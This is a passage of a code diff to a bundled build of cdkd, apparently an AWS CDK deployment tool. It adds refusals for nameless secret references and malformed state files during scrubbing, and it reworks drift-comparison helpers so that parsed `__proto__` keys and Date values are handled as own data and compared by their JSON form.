+ * run CLEAN. What makes that wrong is WHERE the throw happens: the token loop
68263
+ * in `resolveDynamicReferences` has NO per-token `try`, so either one abandons
68264
+ * every remaining `{{resolve:...}}` token in the leaf. A real
68265
+ * `{{resolve:secretsmanager:prod/db}}` after it is never fetched and records NO
68266
+ * needle — and a legacy plaintext already in `state.json` then survives under
68267
+ * `No plaintext secrets found`, exit 0.
68268
+ *
68269
+ * BOTH spellings are matched, and the second is the DOMINANT one. The first
68270
+ * cut matched `PARAMETER_NAME is required` alone, leaving the more common way
68271
+ * to write a secret silent — and the fence certified that as deliberate by
68272
+ * asserting the marker occurred exactly once in the resolver, which passed
68273
+ * precisely BECAUSE the other throw spells it differently.
68274
+ *
68275
+ * WHY THE SET STOPS AT "is required", having once been widened to the whole
68276
+ * `Dynamic reference:` family and reverted. The loop's missing per-token `try`
68277
+ * means four SIBLING failures — a deleted SSM parameter, a secret with no
68278
+ * `SecretString`, a missing `JSON_KEY`, a non-JSON secret — abandon the leaf
68279
+ * exactly the same way, so on the surface they belong here. They do not,
68280
+ * because scrub resolves with template DEFAULTS and takes no `--parameters`:
68281
+ * an `Fn::Sub` that warn-and-KEEPS its raw `${Field}` produces a JSON_KEY miss
68282
+ * on a perfectly healthy stack, so refusing on that class refuses ordinary
68283
+ * stacks (measured — it reddened
68284
+ * `tests/unit/cli/commands/scrub-cross-region-secret.test.ts`). A nameless
68285
+ * reference is far narrower: an UNBOUND variable keeps its literal `${...}`
68286
+ * rather than vanishing, so ordinary missing-parameter resolution cannot
68287
+ * produce one.
68288
+ *
68289
+ * That is narrower, NOT universal, and the difference is stated rather than
68290
+ * glossed: a parameter DECLARED with `Default: ''` binds the empty string
68291
+ * verbatim (`isUnboundTemplateParameter` returns false once `Default` is
68292
+ * present), so `{{resolve:ssm-secure:${P}}}` assembles to
68293
+ * `{{resolve:ssm-secure:}}` and refuses here — while the same stack deploys
68294
+ * fine under `--parameters P=/real/name`. The failure is fail-CLOSED (a
68295
+ * refusal, never a silent clean run) and the shape is a rare one, so it is
68296
+ * accepted rather than worked around; go-to-k/cdkd#3160 carries it alongside
68297
+ * the sibling class, which needs a countable unverifiable-leaf finding rather
68298
+ * than a refusal.
68299
+ *
68300
+ * It is a loudness REGRESSION rather than a new gap: before go-to-k/cdkd#2689
68301
+ * fixed `ssmParameterName`, this input produced a bogus `secretName` and
68302
+ * therefore an `ambiguous` verdict, whose typed error scrub already re-raises.
68303
+ * The old, wrong-in-substance refusal was backstopping this one.
68304
+ */
68305
+ function isNamelessDynamicReferenceFailure(err) {
68306
+ return err instanceof Error && errorCauseChain(err).some((link) => link instanceof Error && link.message.includes(DYNAMIC_REFERENCE_PREFIX) && NAMELESS_DYNAMIC_REFERENCE_MARKERS.some((marker) => link.message.includes(marker)));
68307
+ }
68308
+ /**
67985
68309
  * A secrets map with its OWN identity whose entries ARE `target`'s (issue
67986
68310
  * #2531): every read and write goes to `target`; nothing is stored here.
67987
68311
  *
@@ -68425,6 +68749,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68425
68749
  };
68426
68750
  }
68427
68751
  const state = loaded.state;
68752
+ let malformedResources;
68753
+ if (opts.dryRun) {
68754
+ if (repairMalformedResourcesForReadOnly(state)) {
68755
+ malformedResources = true;
68756
+ logger.warn(malformedResourcesWarning(stack.stackName, region));
68757
+ }
68758
+ } else if (!hasReadableResources(state)) throw new ScrubRefusalError(malformedStateRefusalMessage(stack.stackName, region), STATE_RESOURCES_MALFORMED);
68428
68759
  const perResourceTemplateProps = /* @__PURE__ */ new Map();
68429
68760
  const outputsTemplateSource = {};
68430
68761
  const resolvers = new ScrubResolvers(region);
@@ -68469,7 +68800,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68469
68800
  const collisions = [];
68470
68801
  let outputsSourceUntrusted = false;
68471
68802
  await withSharedDrainBudget(async () => {
68472
- for (const logicalId of Object.keys(state.resources)) {
68803
+ for (const logicalId of Object.keys(state.resources ?? {})) {
68473
68804
  const templateResource = templateResources[logicalId];
68474
68805
  if (!templateResource?.Properties) continue;
68475
68806
  const recordedSecretValues = /* @__PURE__ */ new Map();
@@ -68486,7 +68817,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68486
68817
  try {
68487
68818
  await resolver.resolve(resolveInput, resourceContext);
68488
68819
  } catch (err) {
68489
- if (isRegionAmbiguousRefusal(err)) throw err;
68820
+ if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
68490
68821
  logger.debug(`Resolution of ${logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
68491
68822
  }
68492
68823
  perResourceTemplateProps.set(logicalId, templateResource.Properties);
@@ -68508,7 +68839,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68508
68839
  try {
68509
68840
  await resolver.resolve(resolveInput, resolverContext(recordedSecretValues));
68510
68841
  } catch (err) {
68511
- if (isRegionAmbiguousRefusal(err)) throw err;
68842
+ if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
68512
68843
  logger.debug(`Resolution of orphan record ${record.logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
68513
68844
  }
68514
68845
  }
@@ -68531,7 +68862,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68531
68862
  try {
68532
68863
  exportName = await resolver.resolve(nameSource, nameContext);
68533
68864
  } catch (err) {
68534
- if (isRegionAmbiguousRefusal(err)) throw err;
68865
+ if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
68535
68866
  nameFailed = true;
68536
68867
  nameError = err;
68537
68868
  }
@@ -68569,7 +68900,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68569
68900
  try {
68570
68901
  await resolver.resolve(valueSource, valueContext);
68571
68902
  } catch (err) {
68572
- if (isRegionAmbiguousRefusal(err)) throw err;
68903
+ if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
68573
68904
  logger.debug(`Resolution of output ${name} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), outputSecrets)}`);
68574
68905
  }
68575
68906
  }
@@ -68588,12 +68919,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68588
68919
  secretsFound: 0,
68589
68920
  secretBearingKeys: secretBearingKeys.length,
68590
68921
  unverifiableReads: prePassFindings.unverifiable.length,
68922
+ ...malformedResources ? { malformedResources } : {},
68591
68923
  outputs: state.outputs,
68592
68924
  exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
68593
68925
  };
68594
68926
  let recordsChanged = 0;
68595
68927
  const newResources = {};
68596
- for (const [logicalId, record] of Object.entries(state.resources)) {
68928
+ for (const [logicalId, record] of Object.entries(state.resources ?? {})) {
68597
68929
  const secrets = perResourceSecrets.get(logicalId);
68598
68930
  const templateProps = perResourceTemplateProps.get(logicalId);
68599
68931
  const ownSecrets = secrets ?? /* @__PURE__ */ new Map();
@@ -68636,6 +68968,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68636
68968
  secretsFound: totalSecrets,
68637
68969
  secretBearingKeys: secretBearingKeys.length,
68638
68970
  unverifiableReads: prePassFindings.unverifiable.length,
68971
+ ...malformedResources ? { malformedResources } : {},
68639
68972
  outputs: newOutputs,
68640
68973
  exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
68641
68974
  };
@@ -68661,6 +68994,87 @@ function createScrubCommand() {
68661
68994
  return cmd;
68662
68995
  }
68663
68996
 
68997
+ //#endregion
68998
+ //#region src/utils/own-keys.ts
68999
+ /**
69000
+ * Own-key helpers for the bags that reach cdkd through `JSON.parse` — a
69001
+ * `state.json` record, a Cloud Control `Properties` document, a template — and
69002
+ * for the raw SDK readbacks compared against them.
69003
+ *
69004
+ * `JSON.parse` yields a key literally named `__proto__` as an ORDINARY own
69005
+ * data property, and every comparator / rebuild walk over such a bag has to
69006
+ * keep treating it as one. Two idioms silently do not:
69007
+ *
69008
+ * - **Rebuilding onto a `{}` literal.** `out[k] = v` with `k === '__proto__'`
69009
+ * runs `Object.prototype`'s accessor, SETS the node's prototype and DROPS
69010
+ * the key — on BOTH comparison sides when the walk is a canonicalizer, so a
69011
+ * drift at that key is invisible (issue
69012
+ * [#3121](https://github.com/go-to-k/cdkd/issues/3121)), and on the WRITE
69013
+ * path the member vanishes from the payload (issue
69014
+ * [#2899](https://github.com/go-to-k/cdkd/issues/2899)). Rebuild onto
69015
+ * {@link nullPrototypeRecord} (no accessor there, so plain assignment
69016
+ * defines an own key) or, onto an existing plain object, define the key
69017
+ * with {@link defineOwnKey}.
69018
+ * - **`key in bag` membership.** `in` reads the prototype chain, so a key
69019
+ * named `constructor` / `toString` answers `true` for every plain object
69020
+ * and the recursion then walks `Object`'s function. {@link hasOwnKey} asks
69021
+ * the bag alone; {@link ownValue} is the matching read.
69022
+ *
69023
+ * And ONE shape test every such walk needs FIRST: {@link hasPlainPrototype}.
69024
+ * A non-plain object (`Date`, `Uint8Array`, `Map`, a class instance) has no
69025
+ * own enumerable keys, so a key-walk over one FABRICATES `{}` (or an index
69026
+ * map) and any two of them compare equal. Such a value is returned by
69027
+ * IDENTITY and compared as itself.
69028
+ *
69029
+ * Extracted from `src/cli/commands/drift.ts` (issue #2899, swept by PR #3124)
69030
+ * so the analyzer-side canonicalizers (#3121) share ONE spelling rather than a
69031
+ * fourth copy. A LEAF module, deliberately, and it must stay one: a value
69032
+ * import from a module other suites `vi.mock` wholesale reds those suites
69033
+ * with a missing-export failure (which is why `secret-redaction.ts` keeps its
69034
+ * own `hasPlainPrototype` — several drift suites mock that module).
69035
+ */
69036
+ /** Own-key membership: `in` reads the prototype chain, which a `JSON.parse`d bag never means. */
69037
+ function hasOwnKey(target, key) {
69038
+ return Object.prototype.hasOwnProperty.call(target, key);
69039
+ }
69040
+ /** An own-key read: `undefined` for an inherited name (`__proto__`, `constructor`, ...). */
69041
+ function ownValue(target, key) {
69042
+ return hasOwnKey(target, key) ? target[key] : void 0;
69043
+ }
69044
+ /** An ordinary (writable, enumerable, configurable) own data property — never the prototype. */
69045
+ function defineOwnKey(target, key, value) {
69046
+ Object.defineProperty(target, key, {
69047
+ value,
69048
+ writable: true,
69049
+ enumerable: true,
69050
+ configurable: true
69051
+ });
69052
+ }
69053
+ /**
69054
+ * Does this value carry an ORDINARY object prototype?
69055
+ *
69056
+ * `typeof v === 'object'` admits `Date` / `Map` / `Set` / `Uint8Array` / class
69057
+ * instances, whose own enumerable keys are `[]` — so a key-walk over one
69058
+ * reports "no contradiction" between two values that actually differ, and a
69059
+ * rebuild over one fabricates `{}`. A NULL prototype counts as plain: it is
69060
+ * what {@link nullPrototypeRecord} yields, and a walk must be able to re-walk
69061
+ * its own output.
69062
+ */
69063
+ function hasPlainPrototype(value) {
69064
+ const proto = Object.getPrototypeOf(value);
69065
+ return proto === Object.prototype || proto === null;
69066
+ }
69067
+ /**
69068
+ * A fresh rebuild target with NO prototype, so `out['__proto__'] = v` defines
69069
+ * an own key instead of setting the prototype. `JSON.stringify`,
69070
+ * `Object.keys` / `entries` and `structuredClone` all read it like a plain
69071
+ * object; only `instanceof Object` and a direct `.hasOwnProperty()` method call
69072
+ * do not, and no consumer on the drift path uses either.
69073
+ */
69074
+ function nullPrototypeRecord() {
69075
+ return Object.create(null);
69076
+ }
69077
+
68664
69078
  //#endregion
68665
69079
  //#region src/analyzer/drift-normalize.ts
68666
69080
  /**
@@ -68693,6 +69107,24 @@ function createScrubCommand() {
68693
69107
  * `properties`-fallback baseline (a resource deployed before observed-capture,
68694
69108
  * whose baseline is the user's TEMPLATE order). Sorting only the AWS read side
68695
69109
  * would manufacture drift on exactly that path.
69110
+ *
69111
+ * Every object arm below returns a NON-PLAIN object (a `Date` the raw SDK
69112
+ * readback carries, a `Uint8Array`) BY IDENTITY and rebuilds a plain one onto
69113
+ * a NULL-prototype record (issue
69114
+ * [#3121](https://github.com/go-to-k/cdkd/issues/3121), the analyzer-side
69115
+ * population of the class PR #3124 closed in `drift.ts`). A `{}` literal
69116
+ * rebuild had two consequences, both on the COMPARISON copies: an own
69117
+ * `__proto__` key (what `JSON.parse` yields from `state.json`) became the
69118
+ * rebuilt node's prototype and was dropped on BOTH sides, so a drift at that
69119
+ * key was invisible; and `Object.entries(new Date())` is `[]`, so a `Date`
69120
+ * member was flattened to `{}` before `calculateResourceDrift` could see it
69121
+ * (phantom drift against an ISO-string baseline, and `--accept` persisted the
69122
+ * `{}`). The identity return is what makes the second visible to the
69123
+ * comparator; the null-prototype target is what keeps the first an own key.
69124
+ * One layer LATER the same flattening survives in `secret-redaction.ts`'s
69125
+ * value walk, which `--accept` runs over a resource that RECORDS a secret
69126
+ * (issue #2427) -- so the ISO string reaches the baseline only where that
69127
+ * walk does not run.
68696
69128
  */
68697
69129
  function canonicalizeTagListsDeep(v) {
68698
69130
  if (Array.isArray(v)) {
@@ -68706,7 +69138,8 @@ function canonicalizeTagListsDeep(v) {
68706
69138
  return mapped;
68707
69139
  }
68708
69140
  if (v && typeof v === "object") {
68709
- const out = {};
69141
+ if (!hasPlainPrototype(v)) return v;
69142
+ const out = nullPrototypeRecord();
68710
69143
  for (const [k, val] of Object.entries(v)) out[k] = canonicalizeTagListsDeep(val);
68711
69144
  return out;
68712
69145
  }
@@ -68721,7 +69154,8 @@ function canonicalizeIdArraysDeep(v) {
68721
69154
  return mapped;
68722
69155
  }
68723
69156
  if (v && typeof v === "object") {
68724
- const out = {};
69157
+ if (!hasPlainPrototype(v)) return v;
69158
+ const out = nullPrototypeRecord();
68725
69159
  for (const [k, val] of Object.entries(v)) out[k] = canonicalizeIdArraysDeep(val);
68726
69160
  return out;
68727
69161
  }
@@ -68878,7 +69312,8 @@ function walkUnordered(v, path, paths) {
68878
69312
  return mapped;
68879
69313
  }
68880
69314
  if (v && typeof v === "object") {
68881
- const out = {};
69315
+ if (!hasPlainPrototype(v)) return v;
69316
+ const out = nullPrototypeRecord();
68882
69317
  for (const [k, val] of Object.entries(v)) out[k] = walkUnordered(val, path === "" ? k : `${path}.${k}`, paths);
68883
69318
  return out;
68884
69319
  }
@@ -69021,14 +69456,16 @@ function isIgnoredPath(path, ignorePaths) {
69021
69456
  * common case of "no drift" allocates nothing.
69022
69457
  */
69023
69458
  function diffAt(path, stateValue, awsValue, out, ignorePaths, unionWalkObjects) {
69024
- if (deepEqual(stateValue, awsValue)) return;
69459
+ const stateForm = jsonForm(stateValue);
69460
+ const awsForm = jsonForm(awsValue);
69461
+ if (deepEqual(stateForm, awsForm)) return;
69025
69462
  if (typeof stateValue === "string" && stateValue.includes("{{resolve:")) return;
69026
- if (isPlainObject(stateValue) && isPlainObject(awsValue) && !Array.isArray(stateValue) && !Array.isArray(awsValue)) {
69027
- const keys = unionWalkObjects ? /* @__PURE__ */ new Set([...Object.keys(stateValue), ...Object.keys(awsValue)]) : Object.keys(stateValue);
69463
+ if (isPlainObject(stateForm) && isPlainObject(awsForm) && !Array.isArray(stateForm) && !Array.isArray(awsForm)) {
69464
+ const keys = unionWalkObjects ? /* @__PURE__ */ new Set([...Object.keys(stateForm), ...Object.keys(awsForm)]) : Object.keys(stateForm);
69028
69465
  for (const key of keys) {
69029
69466
  const childPath = `${path}.${key}`;
69030
69467
  if (isIgnoredPath(childPath, ignorePaths)) continue;
69031
- diffAt(childPath, stateValue[key], awsValue[key], out, ignorePaths, unionWalkObjects);
69468
+ diffAt(childPath, stateForm[key], awsForm[key], out, ignorePaths, unionWalkObjects);
69032
69469
  }
69033
69470
  return;
69034
69471
  }
@@ -69039,11 +69476,39 @@ function diffAt(path, stateValue, awsValue, out, ignorePaths, unionWalkObjects)
69039
69476
  });
69040
69477
  }
69041
69478
  /**
69479
+ * The form `JSON.stringify` would serialize a value as, for the ONE shape the
69480
+ * comparator's "JSON-roundtrip equality" contract did not cover: a NON-PLAIN
69481
+ * object carrying `toJSON` (a `Date`, which serializes as its ISO string; a
69482
+ * `Buffer`, whose prototype `toJSON` yields `{type, data}`). Every other value
69483
+ * is returned untouched. What the comparator then does with an untouched
69484
+ * non-plain object is what it does with a plain one -- it walks the OWN keys
69485
+ * (`deepEqual` below, and `diffAt`'s descend gate, test `typeof === 'object'`
69486
+ * and nothing about the prototype) -- so a `Uint8Array` compares by its
69487
+ * index keys (the persisted `{"0":1,"1":2}` equals the readback typed array,
69488
+ * the convergence this fold exists for) and a keyless `Map` / class instance
69489
+ * compares equal to `{}` and to any other keyless one. That last case is
69490
+ * PRE-EXISTING and is not what the canonicalizers' identity return protects:
69491
+ * they keep a non-plain node from being REBUILT as `{}`, and this fold keeps
69492
+ * the JSON-carrying ones from drifting forever against their persisted form;
69493
+ * neither adds a prototype guard here, because a bare `hasPlainPrototype`
69494
+ * gate would break the typed-array convergence (PR #3148 delta review).
69495
+ */
69496
+ function jsonForm(value) {
69497
+ if (value === null || typeof value !== "object" || hasPlainPrototype(value)) return value;
69498
+ const toJSON = value.toJSON;
69499
+ return typeof toJSON === "function" ? toJSON.call(value) : value;
69500
+ }
69501
+ /**
69042
69502
  * Structural equality used by the drift comparator. Identical to a
69043
69503
  * plain `JSON.stringify`-roundtrip equality except it tolerates
69044
69504
  * undefined-vs-missing-key gaps the same way (both serialize away).
69505
+ * `Date`s (and anything else non-plain with `toJSON`) are compared in their
69506
+ * JSON form via {@link jsonForm}, so the persisted ISO string of an accepted
69507
+ * readback equals the `Date` the next readback returns.
69045
69508
  */
69046
69509
  function deepEqual(a, b) {
69510
+ a = jsonForm(a);
69511
+ b = jsonForm(b);
69047
69512
  if (a === b) return true;
69048
69513
  if (a === null || b === null || a === void 0 || b === void 0) return a === b;
69049
69514
  if (typeof a !== typeof b) return false;
@@ -69126,6 +69591,12 @@ function isPlainObject(value) {
69126
69591
  * and manufacturing a different phantom drift, so the pass is scoped to the
69127
69592
  * object shape — which is what `AWS::S3::BucketPolicy` and the other
69128
69593
  * `PolicyDocument`-typed properties carry in cdkd state.
69594
+ *
69595
+ * The two rewrite walks rebuild onto a NULL-prototype record and return a
69596
+ * non-plain object by identity, for the reason `drift-normalize.ts`'s header
69597
+ * gives (issue #3121): they run on the comparison copies of BOTH sides, so a
69598
+ * `{}` literal rebuild dropped an own `__proto__` key symmetrically and
69599
+ * flattened a `Date` to `{}` before the comparator saw it.
69129
69600
  */
69130
69601
  /**
69131
69602
  * An IAM unique id as it appears in a rendered policy. The prefix set is
@@ -69215,7 +69686,8 @@ function collectPrincipalForms(value) {
69215
69686
  function rewritePrincipalUniqueIds(value, arnByUniqueId) {
69216
69687
  if (Array.isArray(value)) return value.map((el) => rewritePrincipalUniqueIds(el, arnByUniqueId));
69217
69688
  if (!value || typeof value !== "object") return value;
69218
- const out = {};
69689
+ if (!hasPlainPrototype(value)) return value;
69690
+ const out = nullPrototypeRecord();
69219
69691
  for (const [key, member] of Object.entries(value)) out[key] = key === "Principal" || key === "NotPrincipal" ? rewritePrincipalValue(member, arnByUniqueId) : rewritePrincipalUniqueIds(member, arnByUniqueId);
69220
69692
  return out;
69221
69693
  }
@@ -69224,7 +69696,8 @@ function rewritePrincipalValue(value, arnByUniqueId) {
69224
69696
  if (typeof value === "string") return swap(value);
69225
69697
  if (Array.isArray(value)) return value.map(swap);
69226
69698
  if (!value || typeof value !== "object") return value;
69227
- const out = {};
69699
+ if (!hasPlainPrototype(value)) return value;
69700
+ const out = nullPrototypeRecord();
69228
69701
  for (const [key, member] of Object.entries(value)) {
69229
69702
  if (key !== "AWS") {
69230
69703
  out[key] = rewritePrincipalUniqueIds(member, arnByUniqueId);
@@ -69482,7 +69955,12 @@ const CC_API_FALLBACK_DENY_LIST = {
69482
69955
  *
69483
69956
  * Strips are shallow only — fields are removed if they appear at any
69484
69957
  * depth (recursive walk) but the values themselves are not modified.
69485
- * Arrays are walked element-wise.
69958
+ * Arrays are walked element-wise. The rebuild target is a NULL-prototype
69959
+ * record and a non-plain object is returned by identity, for the reason
69960
+ * `drift-normalize.ts`'s header gives (issue #3121): the walk feeds the
69961
+ * comparison copy, so a `{}` literal rebuild dropped an own `__proto__` key
69962
+ * (which the `JSON.parse`d `Properties` document can carry) and flattened a
69963
+ * non-plain member to `{}`.
69486
69964
  */
69487
69965
  /**
69488
69966
  * Field names AWS attaches to nearly every resource. These are NOT user
@@ -69538,7 +70016,8 @@ function stripWalk(value) {
69538
70016
  if (value === null || value === void 0) return value;
69539
70017
  if (Array.isArray(value)) return value.map(stripWalk);
69540
70018
  if (typeof value === "object") {
69541
- const out = {};
70019
+ if (!hasPlainPrototype(value)) return value;
70020
+ const out = nullPrototypeRecord();
69542
70021
  for (const [key, child] of Object.entries(value)) {
69543
70022
  if (ALWAYS_STRIPPED_FIELDS.has(key)) continue;
69544
70023
  out[key] = stripWalk(child);
@@ -70949,10 +71428,10 @@ function buildReadCurrentStateContext(state, excludedLogicalId) {
70949
71428
  * below would then compare against the accepted one. `undefined` is the answer
70950
71429
  * "the bag has nothing here", which is what an absent segment means.
70951
71430
  *
70952
- * Exported, like `setAtPath`, as a test seam only: a `__proto__` path cannot
70953
- * reach either through the command today (the comparison chain's normalisers
70954
- * drop the key on both sides — issue #3121), so the own-key rule is pinned on
70955
- * the helpers directly.
71431
+ * Exported, like `setAtPath`, as a test seam: the own-key rule is pinned on
71432
+ * the helpers directly, and since issue #3121 (the comparison chain's
71433
+ * normalisers keep the key as an own key on both sides) a top-level
71434
+ * `__proto__` drift also reaches both through the command.
70956
71435
  */
70957
71436
  function getAtPath(source, path) {
70958
71437
  if (path.length === 0) return source;
@@ -70991,23 +71470,6 @@ function setAtPath(target, path, value) {
70991
71470
  }
70992
71471
  defineOwnKey(cursor, segments[segments.length - 1], value);
70993
71472
  }
70994
- /** Own-key membership: `in` reads the prototype chain, which a `JSON.parse`d bag never means. */
70995
- function hasOwnKey(target, key) {
70996
- return Object.prototype.hasOwnProperty.call(target, key);
70997
- }
70998
- /** An own-key read: `undefined` for an inherited name (`__proto__`, `constructor`, ...). */
70999
- function ownValue(target, key) {
71000
- return hasOwnKey(target, key) ? target[key] : void 0;
71001
- }
71002
- /** An ordinary (writable, enumerable, configurable) own data property — never the prototype. */
71003
- function defineOwnKey(target, key, value) {
71004
- Object.defineProperty(target, key, {
71005
- value,
71006
- writable: true,
71007
- enumerable: true,
71008
- configurable: true
71009
- });
71010
- }
71011
71473
  /**
71012
71474
  * `--accept`: state ← AWS.
71013
71475
  *
@@ -71365,22 +71827,6 @@ function isPlainRecord(value) {
71365
71827
  return typeof value === "object" && value !== null && !Array.isArray(value);
71366
71828
  }
71367
71829
  /**
71368
- * Does this value carry an ORDINARY object prototype?
71369
- *
71370
- * {@link isPlainRecord} admits `Date` / `Map` / `Set` / class instances, whose
71371
- * own enumerable keys are `[]` — so a key-walk over one reports "no
71372
- * contradiction" between two values that actually differ. The redaction walk's
71373
- * `deepEqualJsonValue` carries the same guard for the same reason
71374
- * (`secret-redaction.ts`, issue #2869): a `Date` anchor corroborates NOTHING.
71375
- * Kept file-local rather than imported because `secret-redaction.js` is
71376
- * `vi.mock`ed by several drift suites, and a value import from it reds them
71377
- * with a missing-export failure.
71378
- */
71379
- function hasPlainPrototype(value) {
71380
- const proto = Object.getPrototypeOf(value);
71381
- return proto === Object.prototype || proto === null;
71382
- }
71383
- /**
71384
71830
  * Merge the AWS-current value with the revert baseline, KEEPING every path the
71385
71831
  * baseline does not declare (issue
71386
71832
  * [#1626](https://github.com/go-to-k/cdkd/issues/1626) items 2 + 3).
@@ -78821,6 +79267,7 @@ async function rollbackCommand(stackArg, options) {
78821
79267
  if (!journal || journal.segments.length === 0) throw new Error(`Nothing to roll back for '${safe(stackName)}' (${safe(region)}). Run 'cdkd deploy' to (re)deploy, or 'cdkd destroy' to clean up.`);
78822
79268
  if (!stateData) throw new Error(`Rollback journal exists for '${safe(stackName)}' (${safe(region)}) but its state.json is missing (keys: ${safe(`${setup.prefix}/${stackName}/${region}`)}/state.json and .../rollback-journal.json). State appears corrupted — inspect the bucket manually.`);
78823
79269
  const baseState = stateData.state;
79270
+ refuseMalformedState(baseState, stackName, region);
78824
79271
  const stateResources = { ...baseState.resources };
78825
79272
  const mintedOrphans = [];
78826
79273
  const orphanLogicalIds = new Set(options.orphan ?? []);
@@ -80886,7 +81333,9 @@ var AttributeFetcher = class {
80886
81333
  ok: false,
80887
81334
  reason
80888
81335
  };
80889
- const cached = this.orphans[orphanLogicalId].attributes?.[attribute];
81336
+ const orphan = this.orphans[orphanLogicalId];
81337
+ const stored = orphan.attributes?.[attribute];
81338
+ const cached = isImpossibleEmptyStoredAttribute(orphan.resourceType, attribute, stored) ? void 0 : stored;
80890
81339
  if (cached === void 0) {
80891
81340
  this.logger.warn(`--force: state.attributes also lacks '${orphanLogicalId}.${attribute}'; leaving the original intrinsic in place.`);
80892
81341
  return {
@@ -80955,7 +81404,7 @@ async function rewriteResourceReferences(state, orphanLogicalIds, providerRegist
80955
81404
  const rewrites = [];
80956
81405
  const unresolvable = [];
80957
81406
  const newResources = {};
80958
- for (const [logicalId, resource] of Object.entries(state.resources)) {
81407
+ for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
80959
81408
  if (orphanSet.has(logicalId)) continue;
80960
81409
  const rewrittenProperties = await rewriteValue(resource.properties, `properties`, logicalId, orphanSet, fetcher, rewrites, unresolvable);
80961
81410
  const rewrittenAttributes = resource.attributes ? await rewriteValue(resource.attributes, `attributes`, logicalId, orphanSet, fetcher, rewrites, unresolvable) : void 0;
@@ -81290,9 +81739,10 @@ async function orphanCommand(pathArgs, options) {
81290
81739
  const stateData = await stateBackend.getState(stackInfo.stackName, targetRegion);
81291
81740
  if (!stateData) throw new Error(`No state found for stack '${stackInfo.stackName}' (${targetRegion}). Nothing to orphan. (Did the stack get deployed?)`);
81292
81741
  const { state, etag, migrationPending } = stateData;
81742
+ refuseMalformedState(state, stackInfo.stackName, targetRegion);
81293
81743
  const missing = orphanLogicalIds.filter((id) => !(id in state.resources));
81294
81744
  if (missing.length > 0) {
81295
- const have = Object.keys(state.resources).join(", ");
81745
+ const have = Object.keys(state.resources ?? {}).join(", ");
81296
81746
  throw new Error(`Resource(s) not in state for stack '${stackInfo.stackName}' (${targetRegion}): ${missing.join(", ")}.\nAvailable logical IDs: ${have}`);
81297
81747
  }
81298
81748
  const providerRegistry = new ProviderRegistry();
@@ -81868,6 +82318,7 @@ async function importCommand(stackArg, options) {
81868
82318
  }
81869
82319
  const existingResult = await stateBackend.getState(stackInfo.stackName, targetRegion);
81870
82320
  const existingState = existingResult?.state ?? null;
82321
+ if (existingState) refuseMalformedState(existingState, stackInfo.stackName, targetRegion);
81871
82322
  const existingEtag = existingResult?.etag;
81872
82323
  const migrationPending = existingResult?.migrationPending ?? false;
81873
82324
  if (existingState) {
@@ -81876,7 +82327,7 @@ async function importCommand(stackArg, options) {
81876
82327
  } else {
81877
82328
  const conflicts = [...overrides.keys()].filter((id) => Object.prototype.hasOwnProperty.call(existingState.resources, id));
81878
82329
  if (conflicts.length > 0 && !options.force) throw new Error(`Selective import would overwrite resource(s) already in state: ${conflicts.join(", ")}. Pass --force to confirm the overwrite, or remove these IDs from --resource / --resource-mapping.`);
81879
- const preservedCount = Object.keys(existingState.resources).filter((id) => !overrides.has(id)).length;
82330
+ const preservedCount = Object.keys(existingState.resources ?? {}).filter((id) => !overrides.has(id)).length;
81880
82331
  logger.info(`Merging into existing state for ${stackInfo.stackName} (${targetRegion}): preserving ${preservedCount} unlisted resource(s)` + (conflicts.length > 0 ? `, overwriting ${conflicts.length} listed entry(ies)` : ""));
81881
82332
  }
81882
82333
  }
@@ -81937,7 +82388,7 @@ async function importCommand(stackArg, options) {
81937
82388
  }
81938
82389
  if (!options.yes) {
81939
82390
  const importedCount = importedRows.length;
81940
- const preservedCount = selectiveMode && existingState ? Object.keys(existingState.resources).filter((id) => !overrides.has(id)).length : 0;
82391
+ const preservedCount = selectiveMode && existingState ? Object.keys(existingState.resources ?? {}).filter((id) => !overrides.has(id)).length : 0;
81941
82392
  const totalAfter = importedCount + preservedCount;
81942
82393
  const breakdown = preservedCount > 0 ? ` (${importedCount} new/overwritten + ${preservedCount} preserved)` : "";
81943
82394
  if (!await confirmPrompt(`Write state for ${stackInfo.stackName} (${targetRegion}) with ${totalAfter} resource(s)${breakdown}?`)) {
@@ -82504,7 +82955,7 @@ function defaultOnlyParameterTemplate(template) {
82504
82955
  */
82505
82956
  async function resolveImportedProperties(stackState, template, region, stateBackend, logger) {
82506
82957
  const unsafeObservedBaselineLogicalIds = /* @__PURE__ */ new Set();
82507
- const entries = Object.entries(stackState.resources);
82958
+ const entries = Object.entries(stackState.resources ?? {});
82508
82959
  if (entries.length === 0) return unsafeObservedBaselineLogicalIds;
82509
82960
  const resolver = new IntrinsicFunctionResolver(region);
82510
82961
  let parameters = {};
@@ -82920,7 +83371,7 @@ const NO_RECORDED_SECRETS = /* @__PURE__ */ new Map();
82920
83371
  * [#2828](https://github.com/go-to-k/cdkd/issues/2828)).
82921
83372
  */
82922
83373
  async function captureObservedForImportedResources(stackState, providerRegistry, logger, unsafeObservedBaselineLogicalIds, rebuiltLogicalIds) {
82923
- const entries = Object.entries(stackState.resources);
83374
+ const entries = Object.entries(stackState.resources ?? {});
82924
83375
  if (entries.length === 0) return;
82925
83376
  await Promise.all(entries.map(async ([logicalId, resource]) => {
82926
83377
  if (resource.observedBaselineRefused === true && !rebuiltLogicalIds.has(logicalId)) {
@@ -92457,4 +92908,4 @@ function buildProgram() {
92457
92908
 
92458
92909
  //#endregion
92459
92910
